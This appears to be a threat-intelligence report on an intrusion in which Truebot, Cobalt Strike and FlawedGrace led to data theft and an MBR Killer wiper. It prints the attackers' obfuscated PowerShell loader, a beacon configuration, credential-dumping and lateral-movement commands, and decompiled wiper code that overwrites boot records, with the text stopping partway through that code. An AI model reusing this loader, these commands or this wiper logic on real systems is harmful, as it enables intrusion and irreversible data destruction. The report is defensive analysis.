A Truly Graceful Wipe Out

In this intrusion, dated May 2023, we observed Truebot being used to deploy Cobalt Strike and FlawedGrace (aka GraceWire & BARBWIRE) resulting in the exfiltration of data and the deployment of the MBR Killer wiper. The threat actors deployed the wiper within 29 hours of initial access.

Case Summary

In this case, Truebot was delivered through a Traffic Distribution System (TDS) reported by Proofpoint as “404 TDS”. This campaign, observed in May 2023, leveraged email for the initial delivery mechanism. After clicking-through the link in an email, the victim would be redirected through a series of URLs before being presented a file download at the final landing page.

The file download was a Truebot executable, which appeared as a fake Adobe Acrobat document. After executing the file, Truebot copied and renamed itself. Minutes later, Truebot loaded FlawedGrace onto the host. While loading this malware, it used a series of modifications to the registry and Print Spooler service to both escalate privileges and establish persistence. From there, FlawedGrace’s execution routine involved storing as well as extracting, encoded and encrypted payloads in registry; the creation of temporary scheduled tasks and the injection of the final payload into msiexec.exe and svchost.exe.

After this execution, the threat actors proceeded to disable Windows Defender Real-Time monitoring and added exclusions for executable files on the host. We later observed FlawedGrace creating a temporary user within the local Administrators and Remote Desktop Users groups. With this user, a tunneled RDP connection was attempted from FlawedGrace’s C2 servers. Seemingly without success, the threat actors removed the user after 15 minutes before repeating the procedure a second time. After the second failed attempt, the threat actors removed the user and did not attempt further RDP communications. The FlawedGrace process then performed discovery surrounding the domain administrators and domain controllers.

Approximately two hours after the initial execution, Truebot loaded Cobalt Strike into memory and then went dormant for the next two hours. This ended the use of Truebot for the rest of the intrusion, with FlawedGrace and Cobalt Strike being leveraged for the rest of the threat actors activity. Now, four hours into the intrusion the threat actors, through the Cobalt Strike beacon, started another round of discovery commands using net, nltest, tasklist and AdFind.exe.

After having accessed LSASS memory on the beachhead host, the threat actors leveraged a local administrator hash to perform pass-the-hash lateral movement through the environment. The threat actors used Impacket’s atexec to execute discovery commands on remote hosts. These discovery commands included the PowerShell, cmdlet Get-MpComputerStatus, and quser. After these discovery commands, the threat actors used Cobalt Strike’s jump psexec module to further move between hosts. Following each lateral movement action, Cobalt Strike loaded FlawedGrace in memory on all hosts accessed by the adversary.

Around five hours post initial access, the threat actors went silent. FlawedGrace and Cobalt Strike went dormant on all hosts except the beachhead system. Seventeen hours later, the threat actors returned to the network and issued enumeration commands to discover network shares. Around that time, we observed signs of data exfiltration from the environment.

Roughly four hours after the exfiltration began, merely 29 hours into the intrusion, the threat actors deployed the MBR Killer wiper on all hosts where FlawedGrace had been running, including a file server. This executable overwrote the MBR (Master Boot Record) and triggered a reboot, rendering the hosts unusable. Numerous systems were left at the boot screen, inoperable.

Following these actions, the threat actors lost all footholds to the network. While data has been exfiltrated, no responsibility has been claimed and no extortion notes were found.

Attribution

Truebot (a.k.a. Silence.Downloader) has been attributed to the Silence group which have had long standing interactions with financially motivated criminal group TA505 (spammer/distribution). The FlawedGrace malware has been reportedly associated, but not exclusive, to TA505, and has commonly been distributed by Truebot.

Most recently, an activity group reported by Microsoft as Lace Tempest was observed running a Cl0p extortion operation. According to Microsoft “Lace Tempest (DEV-0950) is a Clop ransomware affiliate that has been observed using GoAnywhere exploits and Raspberry Robin infection hand-offs in past ransomware campaigns.”

“Lace Tempest operates in two modes. One mode where they deploy Cl0p enterprise wide and the other where they do mass exploitation against file transfer servers – and steal data (and possibly deploy mbrkiller). Both sets of victims show up on Cl0p leak site. Even if the ransom payload wasn’t deployed.”

– Christopher Glyer, Principal Security Researcher with Microsoft Threat Intelligence

The MBR Killer binary in this case was attributed to the Lace Tempest activity group per Microsoft. Microsoft also recently attributed the MOVEit Transfer 0-day (CVE-2023-34362) exploitation to Lace Tempest.

According to Mandiant, in January 2023 FIN11 was observed deploying TRUECORE (a version of Truebot) and BARBWIRE (FlawedGrace) after exploiting a SolarWinds Serv-U server (CVE-2021-35211). During this time, BARBWIRE C2 was communicating with 5.188.86[.]18:443, which we observed in this case. In April, Mandiant again observed BARBWIRE C2 communicating to 5.188.86[.]18:443 as well as 92.118.36[.]199:443, which was also observed during this case. During this time period, Mandiant also noted that shellcode payloads were staged on a TRUECORE C2 server, which pointed to 5.188.206[.]78, the Cobalt Strike server in this case. Mandiant also confirmed that they’ve observed FIN11 using MBR Killer as early as 2019. According to Mandiant, FIN11 has used BARBWIRE since at least 2018, and they believe that the backdoor is exclusive to the threat group. Mandiant also recently attributed the MOVEit Transfer 0-day (CVE-2023-34362) exploitation to FIN11.

Due to the overlap of TTPs, we are attributing this intrusion with high confidence to Lace Tempest and FIN11 with possible TA505 overlaps.

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service can be found here.

Our All Intel service includes private mini reports, exploit events, long term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data.

If you are interested in hearing more about our services, or would like to talk about a free trial, please reach out using the Contact Us page. We look forward to hearing from you.

Analysts

Analysis and reporting by @Kostastsale, @svch0st and @0xThiebaut.

Initial Access

As is the case for many intrusions, initial access was obtained through an email campaign. Reports by Proofpoint point to this campaign using the 404 Traffic Distribution System (TDS) service. The following Proofpoint screenshots highlight how “404 TDS” is leveraged to turn email campaigns into drive-by downloads.

During this intrusion, the TDS redirection was reported by Proofpoint as follows:

  1. hxxps[:]//hrcbishtek[.]com/{5 alphanumeric characters}
  2. hxxps[:]//imsagentes[.]pe/dgrjfj
  3. hxxps[:]//imsagentes[.]pe/dgrjfj/
  4. hxxps[:]//ecorfan[.]org/base/sj/Document_may_24_16654.exe

The resulting hxxps[://]ecorfan[.]org/base/sj/Document_may_24_16654[.]exe URL performed a drive-by download, delivering the initial Truebot payload Document_may_24_16654.exe.

The usage of the deceptive Document_may_24_16654.exe naming would then entice fooled users to open what they believe is a recent document.

Execution

Truebot was used to load both Cobalt Strike and FlawedGrace on the initial host.

Truebot

The payload, Document_may_24_16654.exe, imitated a PDF document by using an icon of an Adobe Acrobat document.

This was further enforced upon the user when the malware created the following message claiming Adobe Acrobat failed to open the file (even if Acrobat was not installed on the target system).

Truebot’s first action was to create an exact copy of itself in the following path and then execute it.

C:\Intel\RuntimeBroker.exe

The newly created copy reached out to the Truebot C2 of essadonio[.]com (45.182.189[.]71).

Cobalt Strike

Truebot spawned an instance of C:\Windows\system32\cmd.exe which was followed-up by a remote thread created in the new process. The memory of cmd.exe clearly indicated signs of injection, as seen below, where a section of memory was set to execute and read write as well as the telltale MZ (0x4d5a) header of a PE binary.

Further investigation identified the injected module beacon.dll at the same offset as above (0x164a2fb0000) in the loaded modules of the target process.

This is the default naming convention for generating payloads from Cobalt Strike, and stands out further as the DLL did not have a path on disk.

This Cobalt Strike beacon was used both to query information and move around the network which will be discussed in later sections.

During the intrusion, the process running the beacon spawned the following process command line:

ping  -n 1 <REDACTED>shell wmic /node:<REDACTED> process get executablepath

As we have observed in previous cases, threat actors make mistakes too! In this case, the shell argument is a beacon command to spawn a new process. Here, we see it mashed between two commands indicating human error.

FlawedGrace

Truebot loaded another more complicated payload alongside Cobalt Strike, the Remote Access Trojan (RAT) “FlawedGrace.” The initial execution chain of this malware was observed across multiple endpoints when they were first infected.

The first observed behavior of this chain was to create a new instance of spoolsv.exe that was shortly accessed by the Truebot process (RuntimeBroker.exe). This process would then spawn instances of msiexec.exe, which would reach out to the initial FlawedGrace C2 of 92.118.36[.]199.

Instead of creating a task through schtasks.exe, FlawedGrace used three different methods to create new scheduled tasks. The first was to import the taskschd.dll library into the main host process to create a new task called 2. The task was removed as soon as the new command gained SYSTEM-level privileges.

The second was observed within obfuscated PowerShell, where the Schedule.Service COM Object was used to create a new task.

The last method was to use native PowerShell cmdlets to register a task.

The initial task \2 ran the following command which was scheduled for the next minute after creation:

powershell -c "&{(-join('246A3D277B38443831363736432D374636332D384638312D363736452D3636364236433637383138447D273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E6728286770202827686B6C6D3A5C736F6674776172655C325C636C7369645C272B246A2B275C747970656C69622729292E246A29297C2E28282D6A6F696E2828246572726F722E746F737472696E672829295B2831342A31292C28342F31292C5B696E745D28313636352F31363531295D29292E7265706C616365282779272C2778272929'-split'(..)'|?{$_}|%{ [char] [convert]::ToUInt32($_,16)}))|.((-join(($error.tostring())[(14/1),(4*1),$true])).replace('y','x'))}"

The first working part of the command decodes the obfuscated string and results in the following PowerShell code:

$j='{8D81676C-7F63-8F81-676E-666B6C67818D}';([Text.Encoding]::UTF8.GetString((gp ('hklm:\\software\\2\\clsid\\'+$j+'\\typelib')).$j))

The decoded code sets the variable $j to the value {8D81676C-7F63-8F81-676E-666B6C67818D}. It then reads a value from the Windows Registry under the SOFTWARE\2\CLSID\{8D81676C-7F63-8F81-676E-666B6C67818D}\Type key, converts the value to a UTF-8 string, and executes it.

Based on script block logging, the PowerShell script contained in the registry would manipulate and populate further registry keys in the HKLM:\Software\Classes\CLSID\ key using HKLM:\Software\2\CLSID as a staging location. The malware created specific key names attempting to blend in with other COM objects which were also kept within this location. The malware would create additional scheduled tasks using one of the following names selected randomly:

\Microsoft\Windows\System diagnostics service
\Microsoft\Windows\System diagnostics monitor
\Microsoft\Windows\System monitor
\Microsoft\Windows\System service

The final loaded PowerShell script was stored here:

HKLM\Classes\CLSID\{8D81676C-7F63-8F81-676E-666B6C67818D}\TypeLib

The PowerShell code in TypeLib would decrypt the RC4 encrypted payload stored in ProgID using a key based on the hostname ($env:COMPUTERNAME) of the target host and then inject the DLL into the FlawedGrace msiexec.exe and svchost.exe processes.

The encrypted DLL stored in Registry

We manually reversed the RC4 function to decrypt the DLL, which matched the same hash as the FlawedGrace processes in memory (c.dll)

The PE details of the injected module c.dll was of a DLL with an original name of icuin.dll, claiming to be part of the International Components for Unicode libraries, as see below:

When FlawedGrace attempted to run certain commands on the target host, it displayed the specific behavior of spawning an instance of cmd.exe as a sacrificial intermediate process.

Shortly after these instances of cmd.exe were spawned, they would be accessed by the FlawedGrace process svchost.exe.

Of note, the arguments in these processes command lines used flags that do not exist (/I, /SI, /O, /SO):

A Sigma rule to detect this activity can be found at the end of the report.

Persistence

Threat actors established persistence on all infected hosts they pivoted to in the network. The scheduled tasks were configured to load FlawedGrace using PowerShell. While the tasks created initially to run FlawedGrace were registered with the task name of \2 , tasks created for persistence used a naming convention mimicking various system tasks and placed under the \Microsoft\Windows\ task path.

\Microsoft\Windows\System diagnostics monitor
\Microsoft\Windows\System monitor
\Microsoft\Windows\System service

These tasks were then set up for a BootTrigger to restart the malware.

Please refer to the “FlawedGrace” portion of the Execution section for details on the different execution methods threat actors used to register these scheduled tasks.

On the beachhead host, the threat actors added a user account named adminr. This account was then added to the Local Administrators group and Remote Desktop Users group. The account was observed being used to test RDP tunneling in the environment. This account was added and removed several times, but after the first three hours of access, it was deleted and not re-added by the threat actors.

 

Privilege Escalation

We believe that to elevate their privileges, the threat actor might have abused an odd default Windows behavior surrounding changing service permissions:

The change in required [service] privileges takes effect the next time the service is started. […] If you do not set the required privileges, the SCM uses all the privileges assigned by default to the process token. Source

To abuse this SCM behavior, the threat actors were seen stopping the Spooler service before deleting the service’s HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Spooler\RequiredPrivileges registry entry, restarting the service and injecting into the newly created spoolsv.exe process.

The effect of deleting the RequiredPrivileges registry entry can be observed in the following screenshots where the post-modification spoolsv.exe process is seen with a flurry of additional permissions, all of which the threat actors may enjoy post-injection.

Scheduled tasks were used by the threat actors to run much of their malware as SYSTEM. The initial execution tasks for FlawedGrace used the \2 registered task were created to run under SYSTEM as seen by the Author in the task details.

This could then be seen with the user NT AUTHORITY\SYSTEM running the task command and arguments in process creation logs.

 

Defense Evasion

Shortly after execution, the Truebot malware copied the initial malware to a new location renaming itself to RuntimeBroker.exe, masquerading as an executable responsible for managing certain application permissions.

As covered in the execution section, FlawedGrace uses a number of techniques to perform evasion, including encoding, encryption, and storing payloads in the registry. When executing, command-line data was encoded. See the Execution section for a breakdown of the encoding.

During runtime, the FlawedGrace malware decrypts the RC4 encrypted registry stored payload:

We observed process injection by all three malware families in this intrusion. First, Truebot used it to inject the Cobalt Strike payload into a cmd.exe process.

Reviewing memory dumps, the injected MZ header for the Cobalt Strike beacon is easily observable in the injected cmd.exe process.

Cobalt Strike was not the only injection with observable headers, each svchost.exe and msiexec.exe also contained telltale injection signs like PAGE_EXECUTE_READWRITE protection and MZ file headers.

Standard Cobalt Strike named pipes using the postex_* patterns were observed throughout the intrusion.

\postex_0c2a
\postex_e3dc
\postex_7c32
\postex_8e03
\postex_f3cc
\postex_56b2
\postex_8c98
\postex_6ab5
\postex_7e1e
\postex_982c
\postex_a34b
\postex_7007
\postex_9e6a
\postex_ec79
\postex_5ef6
\postex_a195
\postex_10a9
\postex_511b
\postex_ffda
\postex_464b
\postex_dbf3
\postex_eb5d
\postex_1276
\postex_181d
\postex_8c48

Some Registry Items were removed during the FlawedGrace PowerShell execution, specifically the items stored in HKLM:\SOFTWARE\2\:

File removal was observed with AdFind.exe being removed by the threat actors as well as Cobalt Strike beacon removal, after being used for lateral movement.

 

Credential Access

Approximately one hour after the initial infection, we observed the threat actors using a remote dumping tool to extract credentials via the registry hives. At this time, we cannot confidently name the tool that they used. The logs of the credential access activity resemble those of secretsdump, which is a tool that is part of the Impacket library.
 
We noticed the creation of two temporary files in the C:\Windows\System32\ directory. The names of these files consisted of eight randomly generated characters. Prior to that, a service called “RemoteRegistry” was instructed to start. The Remote Registry allows administrators to access, modify, and manage the registry settings of other computers on a network. Once again, an example of this approach can be seen through secretsdump (secretsdump.py#L374).
 

We believe that the threat actors utilized an older version of the impacket Library. This is because as of May 4th, 2023, version 0.10.0 modified the location where the registry hives would extract. They are now saved as temp files under C:\Windows\Temp directory. However, as with this case, we observed the temp files under C:\Windows\System32, which indicates the use of an older version of impacket.

After reviewing the Security event logs for event ID 4624 and the Sysmon event logs (event ID 1 & 10) on the beachhead host, we have determined that the attackers utilized Pass-The-Hash to run commands on remote hosts as the local administrator user.

Security Logs Sysmon Logs
4624 – LogonType: 9LogonProcess: seclogo 1 – Cobalt Strike Execution
  10 – Cobalt Strike Accessing LSASS Process

When considering this evidence, the time sequence is a crucial factor. To prevent false positives, defenders can group related events together based on their time of execution. However, we have also included specific Sigma rules that are capable of identifying these execution patterns in isolation. Please refer to these rules in the Detections section of this report.

Discovery

We also observed the threat actors utilizing for loops to iterate through text files located in the C:\ProgramData directory. These files contained the hostname of all workstations and servers within the network environment. The aim of this loop was to execute discovery commands using ping to locate live endpoints and net view to enumerate their open shares. In addition, they used the dir command to test the feasibility of connecting to remote servers within the network through the local administrator’s account.

C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers_live.txt) do net view \\%i /all >> C:\ProgramData\servers_live_netview.txt

C:\Windows\system32\cmd.exe /C for /f %%i in (C:\ProgramData\servers_live.txt) do dir \\%%i\C$ >> C:\ProgramData\servers_live_dir.txt

C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\hosts.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\hosts_live.txt

C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\servers_live.txt

In addition to using net view to find open shares, the attackers also examined the registry of the local host and saved a list of all mapped shares in a text file called 1.txt. We also observed them using the wmic command to execute the same action on a remote host.

cmd /C > C:\ProgramData\1.txt 2>&1 reg query HKEY_USERS\\<SID>\Network

C:\Windows\system32\cmd.exe /C wmic /node:<REDACTED> process call create "cmd /C > C:\ProgramData\1.txt 2>&1 reg query HKEY_USERS\<SID>\Network"

They later viewed and deleted the text file using the type and del commands respectively.

To check the status of the antimalware software that is installed, they used PowerShell along with the Get-MpComputerStatus cmdlet. This command was run on multiple hosts in the environment. We believe the execution of this command came through atexec.py, which is part of the impacket collection.

cmd.exe /C powershell Get-MpComputerStatus > C:\Windows\Temp\KMzFGwGn.tmp 2>&1

AdFind was used in this intrusion, however, the threat actors limited the output only to collect operating system information and specific attributes from the domain user objects.

C:\Windows\system32\cmd.exe /C AdFind.exe -f "&(objectcategory=computer)" operatingSystem -csv > 1.csv

C:\Windows\system32\cmd.exe /C AdFind.exe -f "objectcategory=person" sAMAccountName name displayName givenName department description title mail logonCount -csv > person.csv 

We also observed some other miscellaneous commands that we tend to see in every intrusion. These discovery commands collected information about the administrator groups and users. Although, there was one notable use of the tasklist command where threat actors used the /S parameter to retrieve the list of currently running processes from remote hosts.

quser
net  group "Domain Admins" /domain
net  group "Domain Controllers" /domain 
net  group /domain
net  localgroup "Remote Desktop Users"
net  localgroup Administrators
net  user <user> /domain
nltest  /domain_trusts
tasklist /S <IP of remote host>

Lateral Movement

The threat actors predominately used Cobalt Strike’s jump psexec module to move to new hosts. The event ID 7045 (A new service was installed in the system) in System.evtx showed clear evidence of the malicious service being installed.

The DFIR Report’s defender’s guide to Cobalt Strike discusses this in further detail.

As seen below, when filtered to these events, we observed the threat actor moving to a new system every 5-20 minutes.

As we mentioned in the discovery phase, threat actors also used atexec to execute commands on remote hosts. Impacket’s atexec module allows the remote execution of commands on a Windows system by leveraging the Task Scheduler service. The module registers a task on a remote system that would execute the instructed command. The task would then be deleted upon successful execution. The example below is from the Security event logs, event ID 4698.

To showcase the hardcoded lines of code responsible for the observed execution flow, we have included a snippet from atexec’s official GitHub page in the screenshot above. Threat actors used Cobalt Strike to facilitate the execution of this module.

In some other cases, we saw threat actors executing the below command from the beachhead host toward a number of remote hosts.

cmd.exe /C wmic /node:<remote host> process get executablepath

This command uses Windows Management Instrumentation CommandLine (WMIC) to remotely retrieve the executable paths of all running processes from a number of remote hosts.

  1. /node:<remote host>: specifies the remote host.
  2. process: represents the WMI class to be queried; in this case, it’s related to running processes on the target system.
  3. get executablepath: is to retrieve the property ‘ExecutablePath’, which contains the complete path to the executable for each running process.

We’ve created a chart displaying the times (UTC) when threat actors were active in the network. The data is based on a sample of affected hosts, but the pattern of activity remained consistent throughout the intrusion.

 

Collection

Throughout the intrusion, the attackers staged results from their discovery within either the temporary directory or C:\ProgramData. As a reminder, the following discovery commands redirected their results to C:\ProgramData\hosts_live.txt and C:\ProgramData\servers_live.txt.

C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\hosts.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\hosts_live.txt

C:\Windows\system32\cmd.exe /C for /f %i in (C:\ProgramData\servers.txt) do ping -n 1 %i -v 4 | find /I "TTL" >> C:\ProgramData\servers_live.txt

Additionally, populated and collected files included:

C:\ProgramData\1.txt
C:\Windows\Temp\KMzFGwGn.tmp
C:\ProgramData\1.csv
C:\ProgramData\person.csv
C:\ProgramData\servers_live_dir.txt

The extensive creation of text files (.txt and .csv) within the C:\ProgramData directory provides detection and hunting opportunities as legitimate software commonly leverages sub-folders of this directory.

Command and Control

Truebot

Communication to the Truebot C2 server at 45.182.189[.]71 began shortly after the execution of the initial access executable. This connection, however, only lasted for around two hours on the beachhead host, and activity ceased after the Cobalt Strike beacon payload was loaded on the host.

Domain IP Port JA3 JA3s
essadonio[.]com 45.182.189[.]71 443 a0e9f5d64349fb13191bc781f81f42e1 f14f2862ee2df5d0f63a88b60c8eee56
essadonio[.]com 45.182.189[.]71 443 a0e9f5d64349fb13191bc781f81f42e1 f33734dfbbff29f68bcde052e523c287
Certificate: [39:d7:cf:9d:0a:39:f6:b6:e4:cc:af:2e:34:9e:07:48:48:be:d1:ea]
Not Before: 2023/05/18 00:00:00 UTC 
Not After: 2023/08/16 23:59:59 UTC 
Issuer Org: ZeroSSL 
Subject Common: essadonio.com [essadonio.com ,www.essadonio.com]
Public Algorithm: id-ecPublicKey
Curve prime: 256v1
JARM: 28d28d28d00028d00042d42d0000005a3e96c1dfa4bdb24b8b3c04cae18cc3

Looking at memory collected from the beachhead host, we can observe the connection to the Truebot command and control server made by Runtimebroker.exe, the renamed executable copied from the initial malware payload.

Flawed Grace

The FlawedGrace malware is unlike any command and control we’ve covered in previous reports as it uses a custom binary protocol as opposed to the more common usage of application layer protocols like HTTP/s, RDP, or SSH.

Over the course of the intrusion, the threat actors pivoted to several command and control addresses with times of overlap between several C2 addresses. This activity took place several times over the course of the intrusion.

As well as pivoting between command and control servers, the threat actors started communication from various hosts over the course of the intrusion with no host maintaining constant beaconing.

As this malware uses a custom protocol, normal indicators like SSL certificate or JA3 were not present.

IP Port
81.19.135[.]30 443
92.118.36[.]199 443
5.188.86[.]18 443

Traces of command and control activity were present in memory on several hosts from the beachhead to multiple servers. Most no longer showed the responsible process, but at least one host had an active connection from an injected svchost.exe process to FlawedGrace command and control visible.

During the first day of the intrusion, we observed a network signature hit for RDP tunneling from one of the FlawedGrace command and control servers, but due to no follow-up activity, it would appear that this did not function properly for the threat actors.

Signature Source IP
ET POLICY Tunneled RDP msts Handshake 92.118.36[.]199

This likely also explains the removal of the local user account that had been added to the Remote Desktop Users group.

Cobalt Strike

Cobalt Strike, unlike the other two malware families observed, remained in constant communication with its command and control server after the first beacon was loaded until the end of the intrusion.

While the Cobalt Strike command and control stayed active over the intrusion the threat actors did selectively deploy and remove it on hosts with only the beachhead host maintaining beaconing activity for the whole duration.

 

IP Port JA3 JA3s
5.188.206[.]78 443 72a589da586844d7f0818ce684948eea f176ba63b4d68e576b5ba345bec2c7b7
Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c]
Not Before: 2015/05/20 18:26:24 UTC 
Not After: 2025/05/17 18:26:24 UTC
Issuer Org: 
Subject Common: 
Subject Org: 
Public Algorithm: rsaEncryption

Cobalt Strike beacon configuration:

{
  "beacontype": [
    "HTTPS"
  ],
  "sleeptime": 60000,
  "jitter": 0,
  "maxgetsize": 16777216,
  "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
  "license_id": 1580103824,
  "cfg_caution": false,
  "kill_date": null,
  "server": {
    "hostname": "5.188.206.78",
    "port": 443,
    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCpq+thntRoA67IEQOJ9T8JfpepBXCrOX43GMXPArNSegjOtHm8eQ7971m0anDglcLtW/9qf38KJfsVGPYW60xHzoKm/K2gr+zgNEUL8sxHErfehglDZexWDY6/Gl+sbM8i5RhN6cT1e7PSr36q9U9a3gCVukKeto0KxG5L0rhDOQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="           
  },                                                                                                                                                                                       
  "host_header": "",                                                                                                                                                                       
  "useragent_header": null,                                                                                                                                                                
  "http-get": {                                                                                                                                                                            
    "uri": "/ga.js",                                                                                                                                                                       
    "verb": "GET",                                                                                                                                                                         
    "client": {                                                                                                                                                                            
      "headers": null,                                                                                                                                                                     
      "metadata": null                                                                                                                                                                     
    },                                                                                                                                                                                     
    "server": {
      "output": [
        "print"
      ]
    }
  },
  "http-post": {
    "uri": "/submit.php",
    "verb": "POST",
    "client": {
      "headers": null,
      "id": null,
      "output": null
    }
  },
  "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",                                                                                                                                                                                 
  "crypto_scheme": 0,
  "proxy": {
    "type": null,
    "username": null,
    "password": null,
    "behavior": "Use IE settings"
  },
  "http_post_chunk": 0,
  "uses_cookies": true,
  "post-ex": {
    "spawnto_x86": "%windir%\\syswow64\\rundll32.exe",
    "spawnto_x64": "%windir%\\sysnative\\rundll32.exe"
  },
  "process-inject": {
    "allocator": "VirtualAllocEx",
    "execute": [
      "CreateThread",
      "SetThreadContext",
      "CreateRemoteThread",
      "RtlCreateUserThread"
    ],
    "min_alloc": 0,
    "startrwx": true,
    "stub": "ezN0tALmJbn0hY8yMkftaA==",
    "transform-x86": null,
    "transform-x64": null,
    "userwx": true
  },
  "dns-beacon": {
    "dns_idle": null,
    "dns_sleep": null,
    "maxdns": null,
    "beacon": null,
    "get_A": null,
    "get_AAAA": null,
    "get_TXT": null,
    "put_metadata": null,
    "put_output": null
  },
  "pipename": null,
  "smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",                                                                                                                                                                                 
  "stage": {
    "cleanup": false
  },
  "ssh": {
    "hostname": null,
    "port": null,
    "username": null,
    "password": null,
    "privatekey": null
  }
}

Exfiltration

On the second day of the intrusion, a connection from a file server began to the IP 139.60.160[.]166 over port 4433. The process tree indicates the FlawedGrace malware injected into svchost and msiexec on the file server and initiated the transfer. Other reports have indicated Truebot/FlawedGrace intrusions have deployed custom tools for exfiltration. We did not observe any additional binary dropped to disk to perform the exfiltration. As the FlawedGrace process established the TCP connection, we assess with moderate confidence the capability was included in the FlawedGrace malware itself.

Two distinct exfiltration periods were observed taking place around two hours apart.

The network traffic was not sent over a TLS connection but just the TCP protocol.

This data was not observable in plain text, indicating likely other obfuscation/encryption methods in use. Using flow data between the two sessions, we were able to verify gigabytes of data were exfiltrated.

Impact

Within four hours of the completed exfiltration, merely 29 hours after initial execution, the threat actors started deploying MBR Killer (aka KillDisk), well-known for its usage during the 2016 Banco de Chile attack. As documented by Flashpoint, the wiper is an NSIS (Nullsoft Scriptable Install System) script capable of wiping a device’s MBR (Master Boot Record), MFT (Master File Table), VBR (Volume Boot Record) and EBR (Extended Boot Record) before forcing a reboot to render a device inoperable. During this destructive stage, the threat actors named the file C:\ProgramData\chrome.exe on the beachhead, while on other servers the C:\Windows\Temp\[0-9a-f]{32}.exe naming pattern was used.

As a defense-evasion technique, MBR Killer has been observed using patched NSIS installers relying on non-standard headers. Once the payload signature is corrected, NSIS decompilers such as 7zip (9.34 – 15.05) are able to extract the malicious NSIS script.

Origin Hexadecimal Signature
NSIS Specification EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 6E 73 74
The DFIR Report’s MBR Killer EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 90 73 74
Banco de Chile’s MBR Killer EF BE AD DE 4E 75 6C 6C 73 6F 66 74 49 6E 73 85

This customization provides defenders with a detection opportunity as outlined within the hereafter-provided YARA rules.

During initialization, MBR Killer visually hides itself by moving off-screen.

Function .onGUIInit
  System::Call "User32::SetWindowPos(i, i, i, i, i, i, i) i ($HWNDPARENT, 0, -10000, -10000, 0, 0, 0x0200|0x0001)"
FunctionEnd

Once hidden, the malicious installer verifies whether it is being emulated by temporarily patching the native Windows ZwClose function (part of ntdll.dll) to immediately succeed with STATUS_SUCCESS before closing a dummy handle through kernel32::CloseHandle(0x12345678) and validating that, although the handle was invalid, the CloseHandle method succeeded.

System::Call "kernel32::GetModuleHandle(t) p ('ntdll.dll') .r0"
IntCmp $0 0 label_exit
System::Call "kernel32::GetProcAddress(p, t) p (r0, 'ZwClose') .r1"
IntCmp $1 0 label_exit
System::Call "kernel32::VirtualProtect(p, i, i, *i) i (r1, 6, 0x40, .r2) .r0"
IntCmp $0 0 label_exit
System::Alloc 6
Pop $3
System::Call "ntdll::memcpy(p, p ,i) i (r3, r1, 6)"
System::Call "ntdll::memcpy(p, t, i) i (r1, t '1ÀYZÿá', 6)"
System::Call "kernel32::CloseHandle(i) i (0x12345678) .r4"
System::Call "ntdll::memcpy(p, p, i) i (r1, r3, 6)"
IntCmp $4 1 0 label_exit label_exit

If the anti-analysis check succeeds, the script issues the HideWindow NSIS call, which hides the installer and proceeds to validate the existence of the first physical drive \\.\PHYSICALDRIVE0 by opening it.

Function func_open_physicaldrive
  IntFmt $1 \\.\PHYSICALDRIVE%d $0
  Push $0
  StrCpy $0 $1
  System::Call "Kernel32::CreateFile(t, i, i, i, i, i, i) i ('$0', 0x80000000|0x40000000, 0x1|0x2, 0, 3, 0x80, 0) .r2"
  Pop $0
FunctionEnd

Once the first \\.\PHYSICALDRIVE0 drive opened, MBR Killer conditionally attempts to wipe:

  • MFT (Master File Table) contains metadata about files and directories, such as names, dates and sizes.
  • VBR (Volume Boot Record) contains, amongst others, code required to bootstrap the operating system.
  • EBR (Extended Boot Record) contains information to describe logical partitions.

MBR Killer then proceeds to wipe the MBR (Master Boot Record) three times by writing 512 empty bytes at offset 0 and attempts to repeat the wiping on the next available disk (\\.\PHYSICALDRIVE1, \\.\PHYSICALDRIVE2, …).

label_check_physicaldrive:
  Call func_open_physicaldrive
  IntCmp $2 -1 label_goto_exit
  System::Call "kernel32::SetFilePointer(i, i ,i ,i) i (r2, 0, 0, 0) .r3"
  IntCmp $3 -1 label_close_physicaldrive
  System::Alloc 4
  Pop $3
  System::Call "kernel32::ReadFile(i, i, i, p, i) i (r2, r9, 512, r3, 0) .r4"
  System::Free $3
  IntCmp $4 1 0 label_close_physicaldrive label_close_physicaldrive
  Push $0
  Push $2
  Push $9
  Push $2
  Push $9
  Call func_wipe_mft_vbr__ebr
  Pop $9
  Pop $2
  Pop $0
  System::Alloc 512
  Pop $5
  System::Alloc 4
  Pop $6
  StrCpy $7 1
  Goto label_wipe
label_next_wipe:
  IntOp $7 $7 + 1
label_wipe:
  IntCmp $7 3 0 0 label_free_wipe
  System::Call "kernel32::SetFilePointer(i, i ,i ,i) i (r2, 0, 0, 0) .r3"
  IntCmp $3 -1 label_goto_next_wipe
